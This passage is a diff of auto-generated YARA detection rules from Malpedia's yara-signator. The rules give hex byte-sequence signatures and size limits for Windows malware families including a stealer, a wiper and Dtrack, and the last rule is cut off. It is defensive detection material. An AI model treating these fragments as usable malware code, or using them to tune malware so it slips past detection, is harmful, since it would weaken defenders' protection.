} -rule MALPEDIA_Win_Darkmoon_Auto : FILE +rule MALPEDIA_Win_Observer_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "39d28dd7-0564-597d-bdac-de621314fd7d" + id = "c0737640-3fea-5607-8cf7-00374c1f837c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkmoon_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.observer_stealer_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "b873ed88e28a76ea623543146de01af6abe20197674c7ea051692aae659c4969" + logic_hash = "0be9a733455d3fbd7030daf285d74174d225df89f30a4020aa754c9c1ec43bc3" score = 75 quality = 75 tags = "FILE" @@ -119868,32 +119919,32 @@ rule MALPEDIA_Win_Darkmoon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 898580f0ffff ff750c 680f0d0000 ffb580f0ffff 56 ff96d1000000 e8???????? } - $sequence_1 = { ff75f0 ff5675 83f800 766d 6a00 8d4df8 } - $sequence_2 = { 8d4f0c c645fc05 e8???????? 8d4f10 c645fc06 e8???????? } - $sequence_3 = { 68ff0f1f00 ff9695000000 83f800 74ac } - $sequence_4 = { 8d8656040000 50 6801000080 ff5635 8d8665010000 50 } - $sequence_5 = { 3b86b0080000 747c 8986b0080000 6804010000 8d85fcfdffff } - $sequence_6 = { 6a01 6a00 e8???????? 53 4f 46 } - $sequence_7 = { ff5621 8945f4 6a00 8d4df8 } - $sequence_8 = { ffb6e1000000 ff96dd000000 8945f4 6a00 ff75f8 ffb6ed000000 6a00 } - $sequence_9 = { 03d0 8b442410 03c2 89442410 8bc6 99 f7f9 } + $sequence_0 = { 59 57 8bc8 e8???????? 6a14 89442418 e8???????? } + $sequence_1 = { 8bcb e8???????? e9???????? 85ff 74cc 68???????? 8d4c2418 } + $sequence_2 = { c3 33c0 8bd1 53 56 57 8bfa } + $sequence_3 = { 59 59 c20400 56 8bf1 8b46e0 8b4004 } + $sequence_4 = { c3 83ec10 53 8bc1 55 } + $sequence_5 = { 55 e8???????? 3bc7 0f87ab000000 6bc024 50 89442414 } + $sequence_6 = { 8b751c 56 68???????? 57 e8???????? 8b4510 } + $sequence_7 = { 894d0c 894508 3d00100000 7215 8d4508 50 8d450c } + $sequence_8 = { 8d4dc0 68???????? e8???????? 837d3408 8d4d20 8d4508 0f434d20 } + $sequence_9 = { 89773c c7474001000000 c74750fb5d7708 e8???????? 8bc7 5f 5e } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 614400 } -rule MALPEDIA_Win_Misha_Auto : FILE +rule MALPEDIA_Win_Dtrack_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7ba08020-4181-5ded-9bc0-49b98b3d2547" + id = "a8e0795f-f37a-570e-a2d0-586d485922bb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.misha_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dtrack_auto.yar#L1-L159" license_url = "N/A" - logic_hash = "55176526d6c66aba41e971557ded1fe9cdb654b2ecbb0584caf24e3a0c3f703a" + logic_hash = "6b14b7e6495b7f7e349f91bcaae4aa222786469ac0195332831e5ef10b7a534f" score = 75 quality = 75 tags = "FILE" @@ -119907,32 +119958,37 @@ rule MALPEDIA_Win_Misha_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0d19000200 50 8b4318 0508010000 50 } - $sequence_1 = { 6a08 59 8bc3 c1e310 0bc3 6a18 8bfa } - $sequence_2 = { ff75c8 8b4314 83c070 50 8b8578ffffff 48 48 } - $sequence_3 = { 50 8b4314 05d8000000 50 ff75ec 8b7308 } - $sequence_4 = { 50 8b4318 0508020000 50 ff730c e8???????? } - $sequence_5 = { 8945e8 8b4510 8b00 8945e4 8d45fc } - $sequence_6 = { c78550feffff18181818 c78554feffff18181818 c78558feffff18181819 c7855cfeffff19191919 c78560feffff19191919 c78564feffff19191919 c78568feffff19191919 } - $sequence_7 = { 6a00 e8???????? 83c40c 8b45f4 8a4d0c 884818 8b45f4 } - $sequence_8 = { 8d85f8f9ffff 50 8d85e0f9ffff e8???????? 83c40c 0fb6c0 } - $sequence_9 = { 8d8568ffffff 50 6a01 6a02 8b4314 83c008 50 } + $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 } + $sequence_1 = { 50 8d8dccfdffff 51 6a00 8d95b0faffff 52 } + $sequence_2 = { 8b4df8 c1e902 334df8 8b55f8 c1ea03 33ca } + $sequence_3 = { 33ca 8b55f8 c1ea07 33ca c1e118 } + $sequence_4 = { 50 e8???????? 83c40c c685b8fbffff00 } + $sequence_5 = { 8b88fc180000 8b5508 8b4508 8b8008100000 89848a04100000 8b4d0c } + $sequence_6 = { 8d959efaffff 52 e8???????? 83c410 8d85d4faffff 898528f6ffff } + $sequence_7 = { e8???????? 83c410 c68587f6ffff00 8b15???????? 52 } + $sequence_8 = { eb64 8b4d10 51 6a00 } + $sequence_9 = { 8b08 894dfc 8b550c 8b4204 8945f8 68efcdab89 } + $sequence_10 = { c1e217 0bca 894d14 8b45f8 } + $sequence_11 = { 6a00 8b55f4 52 e8???????? 83c40c 8b450c 8b08 } + $sequence_12 = { 0bc1 894518 8b5514 8955f8 } + $sequence_13 = { 8b4df8 c1e908 234df8 8b45f8 c1e810 23c8 } + $sequence_14 = { 8b4df0 3b4d10 0f8d90000000 8b5508 } condition: - 7 of them and filesize < 710656 + 7 of them and filesize < 1736704 } -rule MALPEDIA_Win_Unidentified_068_Auto : FILE +rule MALPEDIA_Win_Chches_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "00ed8246-d247-5890-b70c-9dc2bd82550a" + id = "ef78cd53-b90a-5608-a384-2a896eb61dd5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_068_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chches_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "fa30d57049b9c1bba68e7061433a03b7496f06c6df4edaee3b08ded2533d6885" + logic_hash = "b0a1cb7e042feb67b6afb2859125bb6309d891a3da8da2205204e42953893b2e" score = 75 quality = 75 tags = "FILE" @@ -119946,32 +120002,32 @@ rule MALPEDIA_Win_Unidentified_068_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d3403 8bd6 c1fa06 8bce 83e13f 6bc930 8b049518c94500 } - $sequence_1 = { 51 ff5008 ffb56cffffff e8???????? 59 8d8d2cffffff e8???????? } - $sequence_2 = { 894dfc 57 8bd1 33ff 53 8d8dfcfeffff e8???????? } - $sequence_3 = { 897de8 8945d8 8b458c 2b8564ffffff 8945dc 6a08 e8???????? } - $sequence_4 = { 85c9 7904 33c0 5d c3 ff7510 } - $sequence_5 = { 0fafc1 3bf0 7314 8bf8 b800080000 2bc1 c1e805 } - $sequence_6 = { 83bf304b000002 744d 8b4d1c 85c9 7422 8b473c 2b4744 } - $sequence_7 = { e8???????? 6a10 83faff 8d4f28 58 0f45c2 } - $sequence_8 = { b800080000 2bc2 c1e805 03c2 66894312 6a02 eb14 } - $sequence_9 = { 6a2a 8d4dcc e8???????? 57 ff75cc 8d4dec e8???????? } + $sequence_0 = { e8???????? 8b4c243c 8903 8b4534 83c408 85c0 } + $sequence_1 = { ffd2 3dfe1f0000 7608 83eb64 e9???????? 8b7c2454 } + $sequence_2 = { 03c1 50 57 e8???????? 8b96d8000000 83c408 6860ea0000 } + $sequence_3 = { c7460800000000 8b4744 56 6a00 ffd0 8b4f50 50 } + $sequence_4 = { 897c2424 897c2430 3bc7 0f856c020000 8b5d0c 3bdf 0f8404030000 } + $sequence_5 = { 0f84aa010000 8b4660 8bd1 52 ffd0 8b5644 8bd8 } + $sequence_6 = { 8d791c 81c61d051101 85ff 746e 85db 744d 8b550c } + $sequence_7 = { 50 8b4364 ffd0 8b4df8 8b938c000000 6a00 6a00 } + $sequence_8 = { 33d2 6689140f 8b7c2410 eb1e 85c0 751a 8b03 } + $sequence_9 = { ffd2 50 8b4650 ffd0 8b4dfc 51 8d7df8 } condition: - 7 of them and filesize < 862208 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Uacme_Auto : FILE +rule MALPEDIA_Win_Pathwiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53c60ae4-37ff-5d21-9239-76220be2dce4" + id = "a6716c11-1f14-5a04-8fe4-1682b0bebda9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.uacme_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pathwiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pathwiper_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "3f55ec845579c619785e67b0034681c5b25544222a3c6be5c29fd4298627878a" + logic_hash = "2875d616150343a511e4ca1c06e26bab19bffb8a61f2efbef223956f6da2a004" score = 75 quality = 75 tags = "FILE" @@ -119985,32 +120041,32 @@ rule MALPEDIA_Win_Uacme_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45e8 50 ff15???????? 2175f8 8d45f8 50 8d45f0 } - $sequence_1 = { 8d85ecfbffff 50 8d85ccf3ffff 50 } - $sequence_2 = { 50 8d45b4 50 68???????? ff15???????? 8bf0 } - $sequence_3 = { 8bcf c60000 40 83e901 75f7 8b1d???????? 394d10 } - $sequence_4 = { ff75f4 53 ff15???????? ff75fc 53 ff15???????? 6807700000 } - $sequence_5 = { 83ee01 75f7 68???????? 8d85c8fdffff 50 } - $sequence_6 = { 5d c3 ff7508 8bd3 8d8de0f7ffff e8???????? 59 } - $sequence_7 = { 8975dc 8975cc 85f6 7421 8b55e0 } - $sequence_8 = { 8906 5e 8b45fc 8be5 5d c3 55 } - $sequence_9 = { 3db7000000 0f8593010000 ba???????? 8d8ddcfbffff e8???????? 6a00 } + $sequence_0 = { c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 8d8d88ebffff e8???????? 8bf8 6a00 } + $sequence_1 = { 84c0 0f84a8000000 807d3400 0f849e000000 8b950cfeffff 8b8d04feffff 8d4201 } + $sequence_2 = { 8845eb 8bc1 f7e6 6a00 68ffffff7f 52 50 } + $sequence_3 = { 8bf8 eb02 33ff 8b8518feffff 40 897dc0 50 } + $sequence_4 = { c645fc8a 50 8d8df3efffff e8???????? 8d85acf8ffff c645fc8b 50 } + $sequence_5 = { 3bf8 0f84f2010000 83c704 0f1f00 6a00 8d850cffffff 8bcf } + $sequence_6 = { e8???????? 83c408 83c718 3bbd48feffff 0f85c2feffff 8d8554feffff 898528feffff } + $sequence_7 = { 660fd68504f0ffff c785f4efffff3734d6f2 0f1f440000 8a443dd0 32c1 88843df8efffff } + $sequence_8 = { 2b85bcf6ffff 8985d8f6ffff 0f8559fcffff 8b8db8f6ffff 85c9 7445 8b3c8d7c2d4600 } + $sequence_9 = { 8b7508 8d45f4 683734daf3 50 8d45e0 8975ec 50 } condition: - 7 of them and filesize < 565248 + 7 of them and filesize < 1047552 } -rule MALPEDIA_Win_Ziyangrat_Auto : FILE +rule MALPEDIA_Win_Rhttpctrl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad05acb3-2122-508e-96e1-44a0677aa226" + id = "0c1f067f-4c03-5217-84ef-e2056be8411e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ziyangrat_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhttpctrl_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "89f077d6fe657db2420d0ceec203b172ff92ec6b640db30714a01b0a429a9ae6" + logic_hash = "e08ad966d09dce27a6d8e5d5ac2bacf3849e80bd61e38dcdd72f40d98e9b8f3d" score = 75 quality = 75 tags = "FILE" @@ -120024,32 +120080,32 @@ rule MALPEDIA_Win_Ziyangrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 8dbc2421140000 889c2420140000 f3ab } - $sequence_1 = { 50 ff15???????? 85c0 751d ff15???????? 50 56 } - $sequence_2 = { 7560 55 6800040000 ff15???????? 55 8d842468010000 } - $sequence_3 = { 0f841b010000 81fe4c4f0000 0f87e6000000 8b4c2424 8d542414 83e110 } - $sequence_4 = { 33c0 8d7c2409 8bb4240c040000 f3ab 66ab 56 6a00 } - $sequence_5 = { 7e95 ffd5 8bf0 89742430 } - $sequence_6 = { 83f810 0f85a6000000 8b7304 81fe00500000 0f8f97000000 85f6 0f8c8f000000 } - $sequence_7 = { 33c0 8dbc2411010000 889c2410010000 f3ab 66ab aa b91f000000 } - $sequence_8 = { 8db424c0190000 f2ae f7d1 49 bf???????? 8bd1 c1e902 } - $sequence_9 = { 50 c68424fb00000061 c68424fc00000074 c68424fd00000061 889c24fe000000 c684240801000053 c684240901000079 } + $sequence_0 = { d1fe 6a55 ff34f5c0d54100 ff7508 e8???????? 83c40c 85c0 } + $sequence_1 = { ffd7 8b4c241c ff742410 8b35???????? 894114 ffd6 } + $sequence_2 = { 6a00 8d442418 50 8d4714 50 56 } + $sequence_3 = { 2bc3 39460c 0f8660ffffff 50 53 6aff ff7608 } + $sequence_4 = { 83c408 895f08 837f1400 c7471001000000 } + $sequence_5 = { 8b01 52 8d95f0d7ffff 52 ff5004 } + $sequence_6 = { 8d8424e4010000 6a00 50 e8???????? 83c40c c68424c001000000 } + $sequence_7 = { c705????????090400c0 c705????????01000000 c705????????01000000 6a04 58 6bc000 c780f43b420002000000 } + $sequence_8 = { 3bc1 7410 50 e8???????? 83c404 0f1085c0feffff 8b4508 } + $sequence_9 = { 8b7d0c 8bd9 85ff 7417 803e52 750c 807e0145 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 339968 } -rule MALPEDIA_Win_Bh_A006_Auto : FILE +rule MALPEDIA_Win_Ismagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f37d05fc-fa47-5fd7-bb26-823ae04185f6" + id = "67740cfb-8507-5206-9327-8d9ca8f2fd2f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bh_a006" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bh_a006_auto.yar#L1-L100" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ismagent_auto.yar#L1-L100" license_url = "N/A" - logic_hash = "e3efc1dc1d935b6057dbf735dfbafda7bd291fd107bd55d1d22343cc85bf6fea" + logic_hash = "59fcd27aca5a3625483340bfe48980fca66506765ca3b82f7d01afb486f805fc" score = 75 quality = 75 tags = "FILE" @@ -120063,32 +120119,32 @@ rule MALPEDIA_Win_Bh_A006_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bca 2b08 03cb 8930 } - $sequence_1 = { 6683bdecdfffff00 8dbdecdfffff 7436 57 } - $sequence_2 = { 88041a 42 884517 8955f4 e9???????? 2bf0 } - $sequence_3 = { 85ff 7472 8d45fc 50 } - $sequence_4 = { 8b95e4deffff 59 83e201 c1e202 6a04 59 } - $sequence_5 = { 8985d4ddffff 8985d8ddffff 8985dcddffff 8945fc } - $sequence_6 = { 898de4deffff 3bcb 7cbb 8bb5d8deffff 33db 8b85d0deffff 56 } - $sequence_7 = { 50 68???????? 8d85b8f5ffff 50 e8???????? 85c0 7922 } + $sequence_0 = { 68000000a0 ff7510 51 57 ffd0 68???????? } + $sequence_1 = { 50 56 57 8d942418170000 } + $sequence_2 = { 68e8030000 50 8d8424580b0000 50 e8???????? 83c40c 8d842418030000 } + $sequence_3 = { f3a4 8dbc24183e0000 4f 90 } + $sequence_4 = { 33c9 660f1f840000000000 8a81a00a4200 8d4901 88840c370f0000 84c0 } + $sequence_5 = { 66a5 8b7c2418 837c241400 742d 8bc8 8d5101 } + $sequence_6 = { c744243400000000 e8???????? 8b4c2428 8d442444 } + $sequence_7 = { 51 8b4c2434 8d942418070000 50 6a01 } condition: - 7 of them and filesize < 430080 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Ghostsocks_Auto : FILE +rule MALPEDIA_Win_Hookinjex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ec83c1b8-972c-5302-8f5c-0348597b2510" + id = "e24b7d8d-57d5-5a71-8e95-7d0e69957252" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostsocks" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghostsocks_auto.yar#L1-L151" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hookinjex_auto.yar#L1-L153" license_url = "N/A" - logic_hash = "86588affc1ba6a310125c5db73ff776fb8159fe6904364a27563bbbae0b566bf" - score = 75 - quality = 75 + logic_hash = "26e9369b12553b0bff21d81ce8a2563735cb73daf51c3e0b22c3fdadcf7df76a" + score = 60 + quality = 25 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -120100,38 +120156,38 @@ rule MALPEDIA_Win_Ghostsocks_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7e2 69df90010000 01da 89c3 } - $sequence_1 = { f7e2 7079 8d5504 89d5 } - $sequence_2 = { f7e2 0fafe9 8b4c2418 0fafcb } - $sequence_3 = { f7e2 707d 83f8ff 7772 8b542418 85d2 } - $sequence_4 = { f7e2 01d1 81e5ffffff3f 89ea c1fd1f 90 } - $sequence_5 = { f7e2 89442468 0fafde 01da } - $sequence_6 = { f7e2 83c6f8 90 90 83c308 } - $sequence_7 = { f7e2 89442428 01d1 05000096b3 } - $sequence_8 = { e8???????? 89856068fcff 89956468fcff 8d8d1bc3faff } - $sequence_9 = { e8???????? 89856071fcff 89956471fcff a1???????? } - $sequence_10 = { e8???????? 89856077feff 89956477feff 8b8d647ffeff } - $sequence_11 = { e8???????? 89856082fcff 89956482fcff 0fb685a77cffff } - $sequence_12 = { e8???????? 89856078fbff 89956478fbff 8b0d???????? } - $sequence_13 = { e8???????? 8985605ffdff 8995645ffdff 0fb6856fd5faff } - $sequence_14 = { e8???????? 89856076fcff 89956476fcff 8b85d0adfdff } - $sequence_15 = { e8???????? 89856074fbff 89956474fbff a1???????? } + $sequence_0 = { e8???????? b80a020000 eb02 33c0 } + $sequence_1 = { e8???????? 85c0 750f b9ab480100 } + $sequence_2 = { e8???????? b95b730100 e8???????? e9???????? } + $sequence_3 = { e8???????? 833d????????00 7411 b903000000 e8???????? 488905???????? } + $sequence_4 = { e8???????? 85c0 740f b907b60000 } + $sequence_5 = { e8???????? b964000000 ff15???????? 0fb705???????? } + $sequence_6 = { e8???????? 833d????????00 7411 b906000000 e8???????? 488905???????? } + $sequence_7 = { e8???????? 85c0 740c b913e40000 } + $sequence_8 = { 4883780800 7512 488b442450 8b00 } + $sequence_9 = { 0f843d010000 488b442440 488b4c2470 488b4920 } + $sequence_10 = { 25ff9fffff 89442420 8b442420 89442448 } + $sequence_11 = { 03442460 488b4c2468 8901 e9???????? 488b542470 488d4c2430 } + $sequence_12 = { 25ffe7ffff 0fbae80b 8944243c 8b44243c } + $sequence_13 = { 25ffe7ffff 0fbae80b 89442420 8b442420 89442468 } + $sequence_14 = { 25ff0f0000 89442448 488b0d???????? 48894c2450 } + $sequence_15 = { 25ffe7ffff 0fbae80b 8944245c 8b44245c } condition: - 7 of them and filesize < 25016320 + 7 of them and filesize < 6545408 } -rule MALPEDIA_Win_Ironhalo_Auto : FILE +rule MALPEDIA_Win_Grillmark_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5d173d13-7e7f-5038-a17a-f1673b379630" + id = "94d64c09-2c69-5952-977d-9716f3cb3003" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ironhalo_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grillmark_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "b28c071e016d2fd6c8035d945d059b7edc886edf229a30a1e4641350946cb806" + logic_hash = "c6ddc22f686e3bfc93b0245e1ab65f2459e27d4cb969cb323a24bb3baf4cbe5c" score = 75 quality = 75 tags = "FILE" @@ -120145,32 +120201,32 @@ rule MALPEDIA_Win_Ironhalo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a800c914000 83e00f eb02 33c0 } - $sequence_1 = { 8bcb c1f805 83e11f 8b048560e04000 f644c80401 0f84f9000000 6a01 } - $sequence_2 = { 6a00 56 e8???????? 56 e8???????? 8be8 83c410 } - $sequence_3 = { ffd6 8d542410 8d442424 52 50 ffd6 8d4c2424 } - $sequence_4 = { ffd7 8d742428 bb03000000 8d442438 } - $sequence_5 = { 243f c0e206 0ac2 83c104 88042f 45 803c3100 } - $sequence_6 = { 743a 0fb6d0 f68221cf400004 741a } - $sequence_7 = { 50 ffd7 8d742428 bb03000000 8d4c2438 8d542410 } - $sequence_8 = { 52 668954241c e8???????? 50 e8???????? 83c408 8d442410 } - $sequence_9 = { 6a00 6a50 50 56 ff15???????? 8be8 } + $sequence_0 = { ff15???????? 8d4df4 56 51 53 50 57 } + $sequence_1 = { 6800000080 ff7510 ff15???????? 8bf8 83ffff 7436 53 } + $sequence_2 = { f3ab 66ab aa 8d458c 895df8 50 895df4 } + $sequence_3 = { 83ffff 7504 33c0 eb1a } + $sequence_4 = { 66a5 a4 5f 33c0 3905???????? 5e 50 } + $sequence_5 = { 57 e8???????? 8d85f4fcffff 50 57 } + $sequence_6 = { ff15???????? 6a40 33c0 59 8dbdfdfeffff 889dfcfeffff 53 } + $sequence_7 = { 66ab aa 8d85fcfeffff 50 6804010000 e8???????? } + $sequence_8 = { 50 57 ffb604010000 56 e8???????? 83c410 85c0 } + $sequence_9 = { 6a01 ff7508 e8???????? 56 e8???????? ff75f4 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Bitsloth_Auto : FILE +rule MALPEDIA_Win_Darktequila_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d21005cc-48c4-5c1b-8a1c-480f484a1c06" + id = "8b84bd16-ca3f-5431-937c-08f7f5b85ab2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsloth" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitsloth_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darktequila_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "b507e5914cce1955d65d2d9ef747d0eb1b6c8dbf2ed2455d47603f8c520d8766" + logic_hash = "33ae748771a6cb26fc0c416897ca1e808c4fe1a22bddffab51a85bc073a3f977" score = 75 quality = 75 tags = "FILE" @@ -120184,32 +120240,32 @@ rule MALPEDIA_Win_Bitsloth_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837de800 740e 8b4de8 8b11 8b45e8 50 } - $sequence_1 = { eb44 8b45f4 0345ec 8a48ff 884dfc 8b55f4 0355ec } - $sequence_2 = { 52 e8???????? 83c40c 8b45f8 83e801 8945f8 837df803 } - $sequence_3 = { 034df8 8b5508 898a90af0600 8b4508 81b890af060006010000 7310 8b4d08 } - $sequence_4 = { 8b5104 52 8b01 50 8b4df0 e8???????? c745fc00000000 } - $sequence_5 = { eb1b 68???????? 8b4df8 51 e8???????? 83c408 } - $sequence_6 = { 837df400 751b 6a00 6a00 6812c92300 e8???????? } - $sequence_7 = { 8b4d08 89487c 33c0 8b4dfc 33cd e8???????? 8be5 } - $sequence_8 = { 6a03 ff15???????? 8985f8ecffff 8d95e4ecffff 52 8d859cecffff 50 } - $sequence_9 = { 7515 6a00 6a00 68fa920300 e8???????? 83c40c 33c0 } + $sequence_0 = { a1???????? 894604 8bc6 5e c3 8bff } + $sequence_1 = { 33c5 8945fc 33c0 53 8bd9 33c9 } + $sequence_2 = { 83c00d b901000000 ba???????? e8???????? } + $sequence_3 = { 894df8 e8???????? 83c410 8bf3 e8???????? } + $sequence_4 = { 40 83f838 72dc b8???????? c3 33d2 3915???????? } + $sequence_5 = { 83f818 72dc b8???????? c3 } + $sequence_6 = { 85c0 7466 8b4b0c 8b5310 } + $sequence_7 = { 884ddf 8945e0 8945e4 8945e8 8945ec } + $sequence_8 = { 4a 7419 83ea02 753c 8b4508 } + $sequence_9 = { e8???????? 85c0 742e a1???????? 8d5001 } condition: - 7 of them and filesize < 677888 + 7 of them and filesize < 1827840 } -rule MALPEDIA_Win_Pickpocket_Auto : FILE +rule MALPEDIA_Win_Curator_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "802dc3e0-e29e-5fb9-b36e-fb6fbc442d76" + id = "88dd85f1-9cc3-5f60-833e-59e5ff5c2a14" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pickpocket_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curator" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.curator_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "22ebdc63d7f82763f33842db7356986ba14b78ce5a40d50ef0cdea3da00bc1be" + logic_hash = "ce369866ebd7e0f8a7ef01400f189e7f18bf8531561abd861592d244202fec85" score = 75 quality = 75 tags = "FILE" @@ -120223,32 +120279,32 @@ rule MALPEDIA_Win_Pickpocket_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 740f b990cc0000 e8???????? } - $sequence_1 = { e8???????? 85c0 750f b962890100 } - $sequence_2 = { e8???????? 85c0 740f b990cc0000 e8???????? } - $sequence_3 = { eb05 b960cb0000 e8???????? eb02 33c0 } - $sequence_4 = { 790e b91dca0000 e8???????? 8907 } - $sequence_5 = { 7504 33c0 eb0a b9e8d70000 } - $sequence_6 = { 8a4201 84c0 7823 83e17f 0fb6c0 c1e107 03c8 } - $sequence_7 = { 7404 8b01 eb03 83c8ff 83f804 } - $sequence_8 = { a846 750f b99be00100 e8???????? e9???????? } - $sequence_9 = { b9dccc0000 e9???????? b9cecc0000 e9???????? b9c7cc0000 e9???????? } + $sequence_0 = { 488d4108 4889459f 488d5d8f 4883fa10 480f435d8f 4803d9 41b808000000 } + $sequence_1 = { 488b07 488d542420 488bcf ff9090000000 488bcd 48c1e903 488b4620 } + $sequence_2 = { 85c0 0f4ed0 e8???????? 488d15c2140400 488d4c2420 e8???????? cc } + $sequence_3 = { 5d c3 4883c202 488915???????? 0fbe0a 85c9 74bd } + $sequence_4 = { 8b45d8 e9???????? 0fbe42ff 488d4dd0 83c004 4863d0 488d05abbf0300 } + $sequence_5 = { 83e802 0f853ffaffff 660f6fa42400010000 660ffe2424 